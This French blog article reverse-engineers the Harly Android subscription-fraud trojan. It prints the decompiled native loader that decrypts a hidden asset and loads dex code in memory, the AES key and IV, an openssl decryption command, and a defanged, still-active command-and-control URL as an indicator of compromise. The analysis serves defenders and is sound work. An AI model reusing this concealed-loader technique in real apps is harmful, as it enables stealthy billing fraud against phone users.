AccueilAuteursContact

Investigation du malware Android Harly (Reverse Engineering)

Par Amine T.
Publié dans Malware
24 novembre 2022
Lecture: 2 min
Investigation du malware Android Harly (Reverse Engineering)

Harly est une famille de malware (Trojan Subscriber) qui cible les plateformes Android et a été téléchargé environ 4.8 millions de fois depuis le magasin Google Play.

Cet article est le résultat de la rétro-ingénierie (“reverse engineering”) d’une version de ce malware.

Fonctionnement du malware

La famille du malware Harly se déguise sous forme d’applications légitimes dans le magasin Android. Ces applications effectuent des souscriptions à une variété de services payants, dont le coût peut être important, sans que l’utilisatrice ou l’utilisateur s’en aperçoive.

Le malware présenté dans cet article est l’application “BinBin Flash” qui a été téléchargée plus de 10 000 fois.

 Source de l'image: https://www.kaspersky.com/
Source de l'image: https://www.kaspersky.com/

Les permissions

Ces types de malware vont avoir besoin des permissions pour :

  • Accéder aux contacts
  • Accéder aux SMS
  • Effectuer des appels
  • Connaitre l’état du réseau WiFi

liste des permissions
liste des permissions

la persmission android.permission.RECEIVE_BOOT _COMPLETED est utilisée pour assurer la persistance du malware afin qu’il s’exécute à chaque démarrage.

Point d’entrée de l’application

Le point d’entrée de l’application défini dans le fichier AndroidManfest.xml est la classe com.binbin.flashlignt.App.

Classe App
Classe App

La fonction onCreate, qui va être exécutée à chaque démarrage de l’application, exécute la fonction s(). Cette fonction va charger la librairie main (libmain.so) contenue dans le package de l’application :

Ressources
Ressources

Information: On peut constater que la librairie est compilée pour les plateformes “ARM aarch64” uniquement.

Reverse de la librairie libmain.so

Lors des chargements des librairies Android, la première fonction à être exécutée de la librairie est la fonction JNI_OnLoad. Dans le cas de la librairie libmain.so, la fonction est la suivante :

La fonction JNI_OnLoad 🤯
La fonction JNI_OnLoad 🤯

La présence de _cgo_ comme préfixe au nom de la fonction signifie que la librairie a été developpé en GoLang.

L’appel de la fonction crosscall2 va appeler la fonction JNI_OnLoad écrite en Go:

La fonction JNI_OnLoad en Go 🤯🤯
La fonction JNI_OnLoad en Go 🤯🤯

Les imbrications continuent, jusqu’à l’arrivée à la fonction decode :

void sym._cgo_3d9b7d535ea4_Cfunc_decode(int64_t **arg1)
{                                                                                                                                              
    uint uVar1;                                                                                                                                             
    int32_t iVar2;                                                                                                                                          
    ulong uVar3;                                                                                                                                            
    ulong uVar4;                                                                                                                                            
    ulong uVar5;                                                                                                                                            
    ulong uVar6;                                                                                                                                            
    ulong uVar7;
    ulong uVar8;
    ulong uVar9;
    ulong uVar10;
    ulong uVar11;
    ulong uVar12;
    ulong uVar13;
    ulong uVar14;
    ulong uVar15;
    ulong uVar16;
    ulong uVar17;
    ulong uVar18;
    uint64_t uVar19;
    int64_t iVar20;
    int64_t *piVar21;
    code *pcVar22;
    code *pcVar23;
    
    piVar21 = *arg1;
    uVar3 = (**(*piVar21 + 0x30))(piVar21, "android/app/ActivityThread");
    uVar4 = (**(*piVar21 + 0x388))(piVar21, uVar3, "currentApplication", "()Landroid/app/Application;");
    uVar3 = (**(*piVar21 + 0x390))(piVar21, uVar3, uVar4);
    uVar4 = (**(*piVar21 + 0x30))(piVar21, "android/content/Context");
    uVar5 = (**(*piVar21 + 0x108))(piVar21, uVar4, "getAssets", "()Landroid/content/res/AssetManager;");
    uVar5 = (**(*piVar21 + 0x110))(piVar21, uVar3, uVar5);
    uVar6 = (**(*piVar21 + 0xf8))(piVar21, uVar5);
    uVar6 = (**(*piVar21 + 0x108))(piVar21, uVar6, "open", "(Ljava/lang/String;)Ljava/io/InputStream;");
    pcVar22 = *(*piVar21 + 0x110);
    uVar7 = (**(*piVar21 + 0x538))(piVar21, "riip");
    uVar5 = (*pcVar22)(piVar21, uVar5, uVar6, uVar7);
    uVar6 = (**(*piVar21 + 0x30))(piVar21, "javax/crypto/Cipher");
    uVar7 = (**(*piVar21 + 0x388))(piVar21, uVar6, "getInstance", "(Ljava/lang/String;)Ljavax/crypto/Cipher;");
    pcVar22 = *(*piVar21 + 0x390);
    uVar8 = (**(*piVar21 + 0x538))(piVar21, "AES/CBC/PKCS5PADDING");
    uVar7 = (*pcVar22)(piVar21, uVar6, uVar7, uVar8);
    uVar6 = (**(*piVar21 + 0x108))
                      (piVar21, uVar6, "init", "(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V");
    uVar8 = (**(*piVar21 + 0x30))(piVar21, "javax/crypto/spec/SecretKeySpec");
    uVar9 = (**(*piVar21 + 0x108))(piVar21, uVar8, "<init>", "([BLjava/lang/String;)V");
    uVar10 = (**(*piVar21 + 0x30))(piVar21, "android/util/Base64");
    uVar11 = (**(*piVar21 + 0x388))(piVar21, uVar10, "decode", "(Ljava/lang/String;I)[B");
    pcVar22 = *(*piVar21 + 0x4b0);
    uVar12 = (**(*piVar21 + 0x480))(piVar21, uVar10, "NO_WRAP", 0xde469);
    uVar1 = (*pcVar22)(piVar21, uVar10, uVar12);
    uVar12 = (**(*piVar21 + 0x30))(piVar21, "javax/crypto/spec/IvParameterSpec");
    uVar13 = (**(*piVar21 + 0x108))(piVar21, uVar12, "<init>", "([B)V");
    pcVar22 = *(*piVar21 + 0x390);
    uVar14 = (**(*piVar21 + 0x538))(piVar21, "7ml+VE/evGdz4hzjsbWNd7QJ6yfmskgtaDDlq3gzi/k=");
    uVar14 = (*pcVar22)(piVar21, uVar10, uVar11, uVar14, uVar1);
    pcVar22 = *(*piVar21 + 0x390);
    uVar15 = (**(*piVar21 + 0x538))(piVar21, "vpCngUOEcHLMC3dFv7lstg==");
    uVar10 = (*pcVar22)(piVar21, uVar10, uVar11, uVar15, uVar1);
    iVar20 = *piVar21;
    pcVar22 = *(iVar20 + 0x1e8);
    pcVar23 = *(iVar20 + 0xe0);
    uVar11 = (**(iVar20 + 0x538))(piVar21, 0xde301);
    uVar8 = (*pcVar23)(piVar21, uVar8, uVar9, uVar14, uVar11);
    uVar9 = (**(*piVar21 + 0xe0))(piVar21, uVar12, uVar13, uVar10);
    (*pcVar22)(piVar21, uVar7, uVar6, 2, uVar8, uVar9);
    uVar6 = (**(*piVar21 + 0x30))(piVar21, "javax/crypto/CipherInputStream");
    uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar6, "<init>", "(Ljava/io/InputStream;Ljavax/crypto/Cipher;)V");
    uVar5 = (**(*piVar21 + 0xe0))(piVar21, uVar6, uVar8, uVar5, uVar7);
    uVar6 = (**(*piVar21 + 0x30))(piVar21, "java/nio/channels/Channels");
    uVar7 = (**(*piVar21 + 0x388))
                      (piVar21, uVar6, "newChannel", "(Ljava/io/InputStream;)Ljava/nio/channels/ReadableByteChannel;");
    uVar5 = (**(*piVar21 + 0x390))(piVar21, uVar6, uVar7, uVar5);
    uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar4, "getFilesDir", "()Ljava/io/File;");
    uVar8 = (**(*piVar21 + 0x110))(piVar21, uVar3, uVar8);
    uVar9 = (**(*piVar21 + 0x30))(piVar21, "java/io/File");
    uVar10 = (**(*piVar21 + 0x108))(piVar21, uVar9, "<init>", "(Ljava/io/File;Ljava/lang/String;)V");
    pcVar22 = *(*piVar21 + 0xe0);
    uVar11 = (**(*piVar21 + 0x538))(piVar21, "packaged.zip");
    uVar11 = (*pcVar22)(piVar21, uVar9, uVar10, uVar8, uVar11);
    uVar12 = (**(*piVar21 + 0x30))(piVar21, "java/io/FileOutputStream");
    uVar13 = (**(*piVar21 + 0x108))(piVar21, uVar12, "<init>", "(Ljava/io/File;)V");
    uVar14 = (**(*piVar21 + 0xe0))(piVar21, uVar12, uVar13, uVar11);
    uVar15 = (**(*piVar21 + 0x108))(piVar21, uVar12, "getChannel", "()Ljava/nio/channels/FileChannel;");
    uVar14 = (**(*piVar21 + 0x110))(piVar21, uVar14);
    uVar16 = (**(*piVar21 + 0xf8))(piVar21, uVar14);
    uVar16 = (**(*piVar21 + 0x108))(piVar21, uVar16, "transferFrom", "(Ljava/nio/channels/ReadableByteChannel;JJ)J");
    (**(*piVar21 + 0x1a0))(piVar21, uVar14, uVar16, uVar5, 0, 0xcb564);
    pcVar22 = *(*piVar21 + 0x108);
    uVar17 = (**(*piVar21 + 0x30))(piVar21, "java/io/Closeable");
    uVar17 = (*pcVar22)(piVar21, uVar17, "close", 0xde358);
    (**(*piVar21 + 0x1e8))(piVar21, uVar14, uVar17);
    (**(*piVar21 + 0x1e8))(piVar21, uVar5, uVar17);
    uVar5 = (**(*piVar21 + 0x30))(piVar21, "java/util/zip/ZipFile");
    uVar14 = (**(*piVar21 + 0x108))(piVar21, uVar5, "<init>", "(Ljava/io/File;)V");
    uVar11 = (**(*piVar21 + 0xe0))(piVar21, uVar5, uVar14, uVar11);
    uVar14 = (**(*piVar21 + 0x108))(piVar21, uVar5, "getEntry", "(Ljava/lang/String;)Ljava/util/zip/ZipEntry;");
    pcVar22 = *(*piVar21 + 0x110);
    uVar18 = (**(*piVar21 + 0x538))(piVar21, "loader.dex");
    uVar14 = (*pcVar22)(piVar21, uVar11, uVar14, uVar18);
    uVar18 = (**(*piVar21 + 0xf8))(piVar21, uVar14);
    uVar18 = (**(*piVar21 + 0x108))(piVar21, uVar18, "getSize", 0xde31a);
    uVar19 = (**(*piVar21 + 0x1a0))(piVar21, uVar14, uVar18);
    uVar5 = (**(*piVar21 + 0x108))(piVar21, uVar5, "getInputStream", "(Ljava/util/zip/ZipEntry;)Ljava/io/InputStream;");
    uVar5 = (**(*piVar21 + 0x110))(piVar21, uVar11, uVar5, uVar14);
    uVar5 = (**(*piVar21 + 0x390))(piVar21, uVar6, uVar7, uVar5);
    uVar6 = (**(*piVar21 + 0x30))(piVar21, "android/os/Build$VERSION");
    uVar7 = (**(*piVar21 + 0x480))(piVar21, uVar6, "SDK_INT", 0xde469);
    iVar2 = (**(*piVar21 + 0x4b0))(piVar21, uVar6, uVar7);
    uVar4 = (**(*piVar21 + 0x108))(piVar21, uVar4, "getClassLoader", "()Ljava/lang/ClassLoader;");
    uVar4 = (**(*piVar21 + 0x110))(piVar21, uVar3, uVar4);
    iVar20 = *piVar21;
    if (iVar2 < 0x1a) {
        pcVar22 = *(iVar20 + 0xe0);
        uVar6 = (**(iVar20 + 0x538))(piVar21, "loader.dex");
        uVar6 = (*pcVar22)(piVar21, uVar9, uVar10, uVar8, uVar6);
        uVar7 = (**(*piVar21 + 0xe0))(piVar21, uVar12, uVar13, uVar6);
        uVar7 = (**(*piVar21 + 0x110))(piVar21, uVar7, uVar15);
        (**(*piVar21 + 0x1a0))(piVar21, uVar7, uVar16, uVar5, 0, uVar19);
        (**(*piVar21 + 0x1e8))(piVar21, uVar7, uVar17);
        uVar7 = (**(*piVar21 + 0x30))(piVar21, "dalvik/system/PathClassLoader");
        uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar7, "<init>", "(Ljava/lang/String;Ljava/lang/ClassLoader;)V");
        uVar9 = (**(*piVar21 + 0x108))(piVar21, uVar9, "getAbsolutePath", "()Ljava/lang/String;");
        uVar6 = (**(*piVar21 + 0x110))(piVar21, uVar6, uVar9);
        pcVar22 = *(*piVar21 + 0xe0);
    }
    else {
        uVar6 = (**(iVar20 + 0x30))(piVar21, "java/nio/ByteBuffer");
        uVar7 = (**(*piVar21 + 0x388))(piVar21, uVar6, "allocateDirect", "(I)Ljava/nio/ByteBuffer;");
        uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar6, "flip", "()Ljava/nio/Buffer;");
        pcVar22 = *(*piVar21 + 0x108);
        uVar9 = (**(*piVar21 + 0xf8))(piVar21, uVar5);
        uVar9 = (*pcVar22)(piVar21, uVar9, "read", "(Ljava/nio/ByteBuffer;)I");
        uVar6 = (**(*piVar21 + 0x390))(piVar21, uVar6, uVar7, uVar19 & 0xffffffff);
        (**(*piVar21 + 0x188))(piVar21, uVar5, uVar9, uVar6);
        (**(*piVar21 + 0x110))(piVar21, uVar6, uVar8);
        uVar7 = (**(*piVar21 + 0x30))(piVar21, "dalvik/system/InMemoryDexClassLoader");
        uVar8 = (**(*piVar21 + 0x108))(piVar21, uVar7, "<init>", "(Ljava/nio/ByteBuffer;Ljava/lang/ClassLoader;)V");
        pcVar22 = *(*piVar21 + 0xe0);
    }
    uVar4 = (*pcVar22)(piVar21, uVar7, uVar8, uVar6, uVar4);
    (**(*piVar21 + 0x1e8))(piVar21, uVar5, uVar17);
    (**(*piVar21 + 0x1e8))(piVar21, uVar11, uVar17);
    uVar5 = (**(*piVar21 + 0x30))(piVar21, "java/lang/ClassLoader");
    uVar5 = (**(*piVar21 + 0x108))(piVar21, uVar5, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;");
    pcVar22 = *(*piVar21 + 0x110);
    uVar6 = (**(*piVar21 + 0x538))(piVar21, "com.google.loader.Engine");
    uVar4 = (*pcVar22)(piVar21, uVar4, uVar5, uVar6);
    uVar5 = (**(*piVar21 + 0x388))(piVar21, uVar4, "start", "(Landroid/content/Context;)V");
    // WARNING: Could not recover jumptable at 0x002cb074. Too many branches
    // WARNING: Treating indirect jump as call
    (**(*piVar21 + 0x468))(piVar21, uVar4, uVar5, uVar3);
    return;
}

On peut résumer l’exécution de cette fonction avec les points suivants:

  • Charger le fichier riip, des ressources, qui est chiffré en AES-256
  • Déchiffrer le fichier riip:
    • Algorithme : AES-256-CBC
    • Clé: 7ml+VE/evGdz4hzjsbWNd7QJ6yfmskgtaDDlq3gzi/k= encodée en Base64
    • Vecteur d’initialisation (IV): vpCngUOEcHLMC3dFv7lstg== encodé en Base64
  • Enregister l’archive résultante du déchiffrement packaged.zip
  • Décompresser l’archive packaged.zip
  • Charger en mémoire le bytecode Java loader.dex contenu dans l’archive
  • Lancer la classe com.google.loader.Engine de loader.dex

Déchiffrement du fichier riip

La fonction decode ne permet pas de déterminer le fonctionnement du bytecode loader.dex. La solution est de déchiffrer le fichier riip et investiguer son contenu. Pour ce faire, la commande openssl avec les informations précédentes (algorithme utilisé, clé et IV) peut être utilisée:

openssl enc -aes-256-cbc -d -k $(python -c "import base64; print(base64.b64decode('7ml+VE/evGdz4hzjsbWNd7QJ6yfmskgtaDDlq3gzi/k=').hex())") -iv $(python -c "import base64; print(base64.b64decode('vpCngUOEcHLMC3dFv7lstg==').hex())") -in riip -out packages.zip

L’archive déchiffrée résultante de la commande mentionnée ci-dessus contient trois fichiers :

  • Loader.dex
  • kernel.dex
  • epic.so

Analyse de Loader.dex

La classe com.google.loader.Engine, le point d’entrée lancer par la librairie main.so, du bytecode Loader.dex est la suivante:

Classe Engine
Classe Engine

Le rôle de cette classe est de charger le bytecode kernel.dex et d’exécuter la classe needle.kernel.Needle.

Analyse de Kernel.dex

Le bytecode Kernel.dex utilise la technique “Aspect-oriented Programming” (AOP) pour effectuer des “hook” des fonctions à l’aide de la librairie epic.so.

Note: Les détails du AOP ne seront pas abordés dans cet article. Si vous êtes intéressés pour en savoir plus n’hésitez pas à nous contacter

Le point d’entrée est la classe needle.kernel, qui va initialiser la configuration, sachant:

  • Le MSISDN : numéro de téléphone
  • L’état du Wifi : connecté à un réseau ou non
  • Le MNC : le code de l’opérateur téléphonique
  • appId: l’identifiant de l’application du malware en question
  • Autres

Une vérification périodique est effectuée afin de détecter si le smartphone est connecté à un réseau Wifi. Si cela est le cas, aucune opération n’est effectuée. Dans le cas échéant le malware va effectuer des souscriptions à des services en envoyant une requête avec les différents paramètres recueillis à l’API http://api[.]analysis[-]portpull.com/api/offer/trans.

Attention: l’API est toujours active et est activement utilisée par le malware

Indicateur de compromission (IOC)

  • http://api[.]analysis[-]portpull.com/api/offer/trans

Tags

#malware#reverse#analyse#android
Article précédant
Chiffrement easy(RSA) 🔐
Amine T.

Amine T.

Fondateur d'ICTrust

Tables

1
Fonctionnement du malware
2
Les permissions
3
Point d'entrée de l'application
4
Reverse de la librairie libmain.so
5
Déchiffrement du fichier riip
6
Analyse de Loader.dex
7
Analyse de Kernel.dex
8
Indicateur de compromission (IOC)

Liens

Nous contacterÀ propos

Liens externes